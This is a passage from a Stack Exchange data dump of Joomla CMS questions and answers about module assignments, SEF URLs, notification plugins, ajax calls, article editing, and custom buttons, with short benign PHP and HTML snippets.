LastEditDate="2014-11-05T14:52:54.537" LastActivityDate="2014-11-05T14:52:54.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5086" PostTypeId="2" ParentId="3576" CreationDate="2014-11-05T15:23:59.530" Score="2" Body="&lt;p&gt;As far as I can see the only way to really get the information in a repository is manually, unless you want to look through the commits and all, figuring out what goes where. Though either way it would be best to have a copy of the repo somewhere (auto pull updates and all that, so it would have local files in raw format).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the best way is to have a cronjob that attempts to pull updates every so often to a specified directory, and use the directory structure for your menu and displaying the files. To parse them the best way is to use your own library but with Joomla you have the JGithub class that can be used like so.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$github = new JGithub;&#xA;&#xA;$result = $github-&amp;gt;markdown-&amp;gt;render('text here most likely the contents of a file');&#xA;&#xA;echo $result; //will be html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A little warning though that uses the API to render it, so you could run into problems of running into the API limits. You can also use oauth to help bypass it but for such a simple need its best to use a library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having the files local in raw format makes it far less of a performance issue to just parse them on the fly as well, so less need for caching as all that is really happening is that you are reading a file anyway, if there is a need to cache it still then, because at this point it would be a customized extension for joomla anyway you could tie into Joomla's caching.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cache = JCache::getInstance();&#xA;//data = rendered output, file is the path (dot separated is best) and extensionName is the custom extension&#xA;$cache-&amp;gt;store($data,$file,$extensionName);&#xA;&#xA;//then it can be called/checked like this&#xA;$cache-&amp;gt;get($file,$extensionName);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I mosly just let &lt;code&gt;JModel&lt;/code&gt; automatically cache things for me, so my example above may not be entirely correct, but it should be close enough to get somewhere with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My examples here are very vague, just a bit of notes on how I would handle this. Kept it simple as I am not 100% sure i totally understand the question, though this should at least help someone :)&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-11-05T15:23:59.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5087" PostTypeId="1" AcceptedAnswerId="5088" CreationDate="2014-11-05T15:56:11.097" Score="2" ViewCount="242" Body="&lt;p&gt;I'm trying to link the news update preview off a roksproket mosaic to the full article on a separate page. I created a category called news and made a new article where I wrote what I wanted to write for the news update. Then I configured the roksproket mosaic module to feed from the news category and the article shows up in the mosaic. The problem is when I click on the mosaic link, the article text displays on the home page at the bottom. Check it out at &lt;a href=&quot;http://jchsrobotics.com&quot; rel=&quot;nofollow&quot;&gt;http://jchsrobotics.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2014-11-06T02:45:01.050" Title="Link from mosaic" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5088" PostTypeId="2" ParentId="5087" CreationDate="2014-11-05T16:02:07.883" Score="4" Body="&lt;p&gt;You're actually linking to the article just fine.  But, because there's no menu item to change your module assignments, you're linking to your article page with the mosaic module still published to the page.  You can tell you've navigated to a new page by looking in the address bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla's module assignments are based off menu itemids.  Without an itemid assigned to that article set, Joomla assumes you want to inherit the module makeup from the page you're linking off.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd want to make a hidden (or visible) menu item to at least the category if not the article, in order to make sure the module assignments are specific only to the front page and not to your article.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-11-05T16:02:07.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5089" PostTypeId="2" ParentId="5082" CreationDate="2014-11-05T16:16:26.600" Score="3" Body="&lt;p&gt;If I understand your problem correctly, what you need to do is create a top level page for your private news blog - an actual menu item for category blog. Then you can control what modules and url those articles get when clicked on, and keep it's users restricted to private.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-11-05T16:16:26.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5090" PostTypeId="2" ParentId="5080" CreationDate="2014-11-05T16:48:19.170" Score="2" Body="&lt;p&gt;Some third-party plugin may be generating the zero.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is not a module or component output, because it should be included in the html&lt;/li&gt;&#xA;&lt;li&gt;Since zero is generated after the Html, it is rendered before Joomla ends the execution, for example closing sessions.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would disable, one by one, all non-core plugins (and everything else) to discover the cause.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-05T16:48:19.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5091" PostTypeId="2" ParentId="5080" CreationDate="2014-11-05T18:13:17.120" Score="2" Body="&lt;p&gt;Note that your Telnet's &lt;code&gt;Transfer Encoding&lt;/code&gt; is &lt;code&gt;chunked&lt;/code&gt;. So that &lt;code&gt;7139&lt;/code&gt; means 28985 bytes received or &lt;code&gt;702a&lt;/code&gt; means 28714 bytes received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't worry about it. The delay is due to somewhere else.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-11-05T18:13:17.120" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5092" PostTypeId="1" AcceptedAnswerId="5093" CreationDate="2014-11-05T21:37:33.093" Score="3" ViewCount="200" Body="&lt;p&gt;So, the problem is simple:&#xA;I have a front page with featured articles blog with articles of different categories, let's say &quot;Cat1&quot;, &quot;Cat2&quot;, etc...&#xA;(Cat1 has ID=9)&#xA;SEF is on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An article with ID=99 has URL of following format:&#xA; &lt;code&gt;wwww.mysite.com/9-cat1/99-my-article&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create menu item Category list of Cat1 this article URL is changed automatically to&#xA;&lt;code&gt;wwww.mysite.com/menu-item/99-my-article&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of preserving former URL format &lt;code&gt;site/category/article&lt;/code&gt; instead of &lt;code&gt;site/menu/article&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2014-11-06T02:41:31.883" Title="New menu changes article URL" Tags="|menu|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5093" PostTypeId="2" ParentId="5092" CreationDate="2014-11-06T02:41:31.883" Score="4" Body="&lt;p&gt;No, this is how Joomla's sef system works. If you were to make a menu item to an article, that too would lose its item id from the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your only option would either be to override the router or use a sef plugin like sh404sef or Mijosef.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other thing I can think of is to actually make the category menu item alias 9-cat1 but obviously if someone just clicks the menu item, they'd be at wwww.mysite.com/9-cat1/ not wwww.mysite.com/menu-item (like your example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-11-06T02:41:31.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5094" PostTypeId="2" ParentId="5087" CreationDate="2014-11-06T02:45:01.050" Score="0" Body="&lt;p&gt;An alternative to this is to use NoNumber's Advanced Module Manager and set it to &quot;Home Page.&quot; that fixes the issue completely without having to make a bunch of hidden menu items (if you need to do this for other stuff).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/advancedmodulemanager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-11-06T02:45:01.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5095" PostTypeId="2" ParentId="5082" CreationDate="2014-11-06T02:49:57.760" Score="0" Body="&lt;p&gt;An alternative to this is to use NoNumber's Advanced Module Manager to load the modules JUST for a certain category, user ACL level or any number of criteria. If you just need this one fix, then I'd use REactionFaye's option, but if you need to do this for other sections, AMM is very handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/advancedmodulemanager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-11-06T02:49:57.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5098" PostTypeId="1" CreationDate="2014-11-06T12:17:07.087" Score="2" ViewCount="4770" Body="&lt;p&gt;I need a plugin for Joomla 3 to send an email to some users when a new article is published or a new document is added to Docman. I've been looking at the Joomla Extensions Directory, but I haven't found any plugin for this function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know any plugin that works this way?&lt;/p&gt;&#xA;" OwnerUserId="2123" LastActivityDate="2015-07-13T17:12:34.447" Title="Any plugin to send notifications to users when an article is published?" Tags="|joomla-3.x|plugin|subscriptions|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5103" PostTypeId="1" CreationDate="2014-11-06T20:56:51.100" Score="2" ViewCount="222" Body="&lt;p&gt;I want to make a lightweight ajax call in Joomla ( all I need is basically a php script that makes a curl call). Currently, we're doing this in components controller tasks (com_home, com_widgit, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is causing a lot of unneeded overhead by loading Joomla. Performance testing shows that a plain php script with a curl call is order of magnitudes faster than using the joomla controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked into the com_ajax but from what I can tell its not what I'm looking for since I'm the component developer:&#xA;&lt;a href=&quot;http://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If you are a component developer, you do not need to use com_ajax to implement Ajax functionality in it. You can do so directly in your component.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have access to the server and can make ajax calls outside of Joomla, but since that seems like a hack I'd rather use Joomla, if possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make a lightweight ajax call in joomla?&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2014-11-06T21:12:00.430" LastActivityDate="2014-11-07T17:15:42.563" Title="Is there a way to make a light weight ajax call in Joomla?" Tags="|ajax|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5104" PostTypeId="1" AcceptedAnswerId="14566" CreationDate="2014-11-06T23:22:57.547" Score="6" ViewCount="3180" Body="&lt;p&gt;I am trying to create a component where the user can add a menu item to an existing Menu after creating the article (or selecting from a list of article). The closest I could come across to an example of sort was the answer linked below but it was for 2.x and looks the way to go. But one thing I noticed was there was nothing to show that it added any data to the #__assets table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something here but I remember that when a menu item is created when I add one from the backend, it also inserts a record into the assets table. So if I wanted to insert a new menu item, would I have to insert the relevant data to the #_assets table separately? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/12651075/programatically-create-menu-item-in-joomla?lq=1&quot;&gt;https://stackoverflow.com/questions/12651075/programatically-create-menu-item-in-joomla?lq=1&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2019-04-11T19:29:55.470" Title="Programmatically Add Menu Item in Component" Tags="|joomla-3.x|component|development|menu-item|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5105" PostTypeId="2" ParentId="5098" CreationDate="2014-11-06T23:52:11.270" Score="1" Body="&lt;p&gt;Earlier version of Docman included a plugin called Docman Notify, but according to the developers website,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;Notify plugin doesn't work in 2.0. We are working on a new Notify plugin. This is in the works. &lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;Source: &lt;a href=&quot;http://www.joomlatools.com/support/forums/topic/3752-file-permissions-and-notify?highlight=notify&quot; rel=&quot;nofollow&quot;&gt;Joomlatools forum&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you don't want to use commercial extensions, &lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-submission/18594&quot; rel=&quot;nofollow&quot;&gt;Content Update Notifications&lt;/a&gt; seems to be your best option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another (free) alternative is &lt;a href=&quot;http://gruz.org.ua/en/extensions/notifyarticlesubmit-get-email-notification-when-an-article-is-added-or-changed.html&quot; rel=&quot;nofollow&quot;&gt;NotifyArticleSubmit&lt;/a&gt;. I haven't used it myself, and I don't now if it works with Docman, but if it doesn't you might be able to modify it to fit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As others pointed out, you could also build your own plugin, using any of the existing events as needed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;onContentBeforeDelete&lt;/strong&gt; : This is an event that is called right before the content is deleted.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;onContentAfterDelete&lt;/strong&gt; : This is an event that is called right after the content is deleted.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;onContentBeforeDisplay&lt;/strong&gt; : This is a request for information that should be placed immediately before the generated content.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;onContentAfterDisplay&lt;/strong&gt;: This is a request for information that should be placed immediately after the generated content.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;onContentBeforeSave&lt;/strong&gt; : This is an event that is called right before the content is saved into the database.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;onContentAfterSave&lt;/strong&gt; : This is an event that is called after the content is saved into the database.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;onContentAfterTitle&lt;/strong&gt; : This is a request for information that should be placed between the content title and the content body.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;onContentChangeState&lt;/strong&gt; : This is an event that is called when the contents state is changed.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;onContentPrepare&lt;/strong&gt; : This is the first stage in preparing content for output and is the most common point for content orientated plugins to do their work.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;More info on plugin development can be found &lt;a href=&quot;http://docs.joomla.org/J3.x:Creating_a_content_plugin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-06T23:52:11.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5106" PostTypeId="2" ParentId="5104" CreationDate="2014-11-07T00:06:28.120" Score="4" Body="&lt;p&gt;Not really a solution, but an idea:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently learned about &lt;a href=&quot;http://extensions.joomla.org/extensions/structure-a-navigation/menu-systems/menu-editors/20057&quot; rel=&quot;nofollow&quot;&gt;Kazaam!&lt;/a&gt;, a plugin that creates a menu based on your category- and article structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the website states, &lt;code&gt;All code is open source, and you are completely free to make changes.&lt;/code&gt;. Looking at the source code, you should be able to see how it works, and maybe use parts of the code for your own project.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-07T00:06:28.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5107" PostTypeId="1" AcceptedAnswerId="5108" CreationDate="2014-11-07T00:37:34.787" Score="3" ViewCount="224" Body="&lt;p&gt;Articles (AKA content) are one of the most important parts of a website, but how do I create new articles, or edit existing articles? How does the article editor work, and what are all the buttons in the toolbar for?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-07T10:28:22.657" Title="How do I add or edit articles in Joomla" Tags="|joomla-3.x|joomla-2.5|content|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5108" PostTypeId="2" ParentId="5107" CreationDate="2014-11-07T00:37:34.787" Score="4" Body="&lt;p&gt;Joomla articles are managed using the Article Manager, in the &lt;kbd&gt;Content&lt;/kbd&gt; → &lt;kbd&gt;Article Manager&lt;/kbd&gt; menu. Some of the options to manage articles are:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0vqV6.jpg&quot; alt=&quot;Articles toolbar&quot; /&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;New&lt;/strong&gt; (see Article editor below)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Edit&lt;/strong&gt; (select an article and click &lt;kbd&gt;Edit&lt;/kbd&gt;, or click the article title directly)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Publish/Unpublish&lt;/strong&gt; (make selected article(s) visible or invisible to visitors)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Featured&lt;/strong&gt; (Featured articles are displayed using the Menu Item Type &lt;em&gt;Featured Articles&lt;/em&gt;.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Archive&lt;/strong&gt; (Archived articles are not visible in normal blog view, but can be listed using the Menu Item Type &lt;em&gt;Archived Articles&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Check In&lt;/strong&gt; (Removes the padlock from checked-out items. Read more on &lt;a href=&quot;http://docs.joomla.org/What_do_the_locks_mean_and_how_do_you_get_rid_of_them%3F&quot; rel=&quot;noreferrer&quot;&gt;Joomla! Docs&lt;/a&gt;.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Trash&lt;/strong&gt; (delete checked article(s). Trashed articles can be viewed and recovered by setting the &lt;em&gt;status&lt;/em&gt; filter to &lt;em&gt;Trashed&lt;/em&gt;.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Batch&lt;/strong&gt; (displays options for batch processing all selected articles. Useful for changing category, language, tags, menu location and access levels. &lt;strong&gt;No undo button - use with caution&lt;/strong&gt;.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Choosing article editor&lt;/h2&gt;&#xA;&lt;p&gt;By default, Joomla includes 2 article editors (in addition to &lt;em&gt;None&lt;/em&gt;):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TinyMCE (&lt;a href=&quot;http://en.wikipedia.org/wiki/WYSIWYG&quot; rel=&quot;noreferrer&quot;&gt;WYSIWYG&lt;/a&gt;/&lt;a href=&quot;http://acronyms.thefreedictionary.com/WYSINWYG&quot; rel=&quot;noreferrer&quot;&gt;WYSINWYG&lt;/a&gt; editor - Default)&lt;/li&gt;&#xA;&lt;li&gt;CodeMirror (HTML code editor)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Additional editors can be found &lt;a href=&quot;http://extensions.joomla.org/extensions/edition/editors&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The default editor can be set under &lt;kbd&gt;System&lt;/kbd&gt; → &lt;kbd&gt;Global Configuration&lt;/kbd&gt;, and each user can be assigned a different editor from the user manager. A  &lt;kbd&gt;Toggle Editor&lt;/kbd&gt; button is located in the lower right corner , but it only switches between &lt;em&gt;TinyMCE&lt;/em&gt; and &lt;em&gt;None&lt;/em&gt;. (A couple of &lt;a href=&quot;http://extensions.joomla.org/extensions/edition/editor-buttons/9912&quot; rel=&quot;noreferrer&quot;&gt;plugins&lt;/a&gt; are available that allows changing between all available editors from the edit page.)&lt;/p&gt;&#xA;&lt;h2&gt;Editing articles&lt;/h2&gt;&#xA;&lt;p&gt;The actual content of a single article can be edited by clicking the article title in the article manager, or by selecting an article and clicking the &lt;kbd&gt;Edit&lt;/kbd&gt; button. This will open the Article editor.&lt;/p&gt;&#xA;&lt;p&gt;The default (TinyMCE) editor looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pp0k0.jpg&quot; alt=&quot;TinyMCE&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Simply write your content directly into the box, and use the toolbar to add &lt;strong&gt;bold&lt;/strong&gt;, &lt;em&gt;italics&lt;/em&gt;, underline and other formatting to your text. If you're familiar with HTML, press the &lt;kbd&gt;&amp;lt; &amp;gt;&lt;/kbd&gt; button to see and edit the article source code.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Often it's needed to paste text from Word or other text editors. Keep in mind that they often include CSS styling that will override your website's CSS style, and might break your page layout. Use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; to paste as pure text, and add any text formatting using TinyMCE.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-11-07T00:37:34.787" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5109" PostTypeId="2" ParentId="5107" CreationDate="2014-11-07T10:28:22.657" Score="2" Body="&lt;p&gt;Just a little additional info to @johanpw's answer&lt;/p&gt;&#xA;&lt;p&gt;Some of you like to go a few steps further with your article as add additional things (such as a table) that do not appear to be an option with the default TinyMCE Editor.&lt;/p&gt;&#xA;&lt;p&gt;There &lt;strong&gt;are&lt;/strong&gt; more options that come with TinyMCE which you must activate first before being able to use them;&lt;/p&gt;&#xA;&lt;h1&gt;Step 1:&lt;/h1&gt;&#xA;&lt;p&gt;Go to &lt;strong&gt;Extensions&lt;/strong&gt; (top menu) &amp;gt;&amp;gt; &lt;strong&gt;Plugin Manager&lt;/strong&gt; &amp;gt;&amp;gt; &lt;strong&gt;TinyMCE&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Step 2:&lt;/h1&gt;&#xA;&lt;p&gt;Set the value of the &lt;strong&gt;Functionality&lt;/strong&gt; paramater to &lt;strong&gt;Extended&lt;/strong&gt; (as shown below)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ujXMM.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Result:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Jjb8.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-11-07T10:28:22.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5110" PostTypeId="2" ParentId="5103" CreationDate="2014-11-07T17:15:42.563" Score="1" Body="&lt;p&gt;Thinking in the lightweightest way to call your component, since you are executing inside Joomla, you have to wait until the CMS is initialized. (If not, thn you are looking for an external script)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Following all the available core events, you can create a plugin to answer the call and stop the rest of the execution. For instance, &lt;strong&gt;onAfterInitialise&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;You can also, execute in any of the following events, e.g. &lt;strong&gt;onAfterRoute&lt;/strong&gt; &lt;a href=&quot;http://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Plugin/Events&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;As you are the component developer, you can install a create a plugin and install a plgAjaxYxxxx&lt;/li&gt;&#xA;&lt;li&gt;If you want to keep it inside the component, and avoid plugins, then you can return the response inside the main &lt;strong&gt;component&lt;/strong&gt; php script, in the internal  &lt;strong&gt;dispatcher&lt;/strong&gt;, or as a &lt;strong&gt;task&lt;/strong&gt; in a &lt;strong&gt;controller&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In my experience, I prefer to implement it as a task in the controller. In this way, all business reponsabilities are in a single place. Beyond the extra load, it is easier to mantain.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-07T17:15:42.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5111" PostTypeId="1" AcceptedAnswerId="5114" CreationDate="2014-11-07T19:15:52.927" Score="2" ViewCount="168" Body="&lt;p&gt;So when I put these buttons inside an article they worked fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I put them in a module (so I could show them dependent on if the user is logged in or not) they stopped working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first button takes you to the registration page&#xA;The second button takes you to log in page&#xA;*both via menu items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now when in a module the first button takes you to log in page and the second stays blank on index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is as follows below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&#xA;&amp;lt;form action=&quot;http://get2gethersports.com/edit-user-profile?view=registration&quot; method=&quot;get&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt; Join Now &amp;lt;/button&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;form action=&quot;http://get2gethersports.com/index.php?option=com_users&amp;amp;view=login&quot; method=&quot;get&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt; Login &amp;lt;/button&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2150" LastEditorUserId="2150" LastEditDate="2014-11-07T19:19:58.870" LastActivityDate="2014-11-07T19:49:33.153" Title="Custom buttons not working when inside module" Tags="|module|joomla-3.3.x|form|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5114" PostTypeId="2" ParentId="5111" CreationDate="2014-11-07T19:49:33.153" Score="0" Body="&lt;p&gt;You can use a regular link instead of a form, and style them using CSS, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&#xA;   &amp;lt;p&amp;gt;&#xA;      &amp;lt;a href=&quot;http://example.com/index.php?option=com_users&amp;amp;view=registration&quot; class=&quot;btn btn-primary&quot;&amp;gt; Join Now &amp;lt;/a&amp;gt;&#xA;   &amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;&#xA;      &amp;lt;a href=&quot;http://example.com/index.php?option=com_users&amp;amp;view=login&quot; class=&quot;btn btn-success&quot;&amp;gt; Login &amp;lt;/a&amp;gt;&#xA;   &amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-07T19:49:33.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5115" PostTypeId="1" AcceptedAnswerId="5116" CreationDate="2014-11-07T20:08:23.880" Score="2" ViewCount="274" Body="&lt;p&gt;I am using sh404SEF on my website for a large organization.  On the custom 404 page, I have already published the search boxes for the different Zoo application databases that the site uses.  It's similar to &quot;find a job&quot; and &quot;find a store location&quot;.  Those search boxes are separate from searching the site for actual content.  I think having a third module for &quot;search the site&quot; after having the others would be way too many modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to put a search box in the body of the 404 page that searches the actual content.  Already on the custom sh404 404 page, it says the name of the searched page dynamically then offers 3-5 possible choices of &quot;correct&quot; links.  I want to also have a search box at the end there in that content for when the choices aren't helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's a lightweight solution to that? I can load a module position there and load a search module in the content, but that seems too nested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-11-07T20:18:18.587" Title="What's the best way to load a search box within the custom 404 page, specifically in sh404SEF" Tags="|joomla-3.3.x|sh404sef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
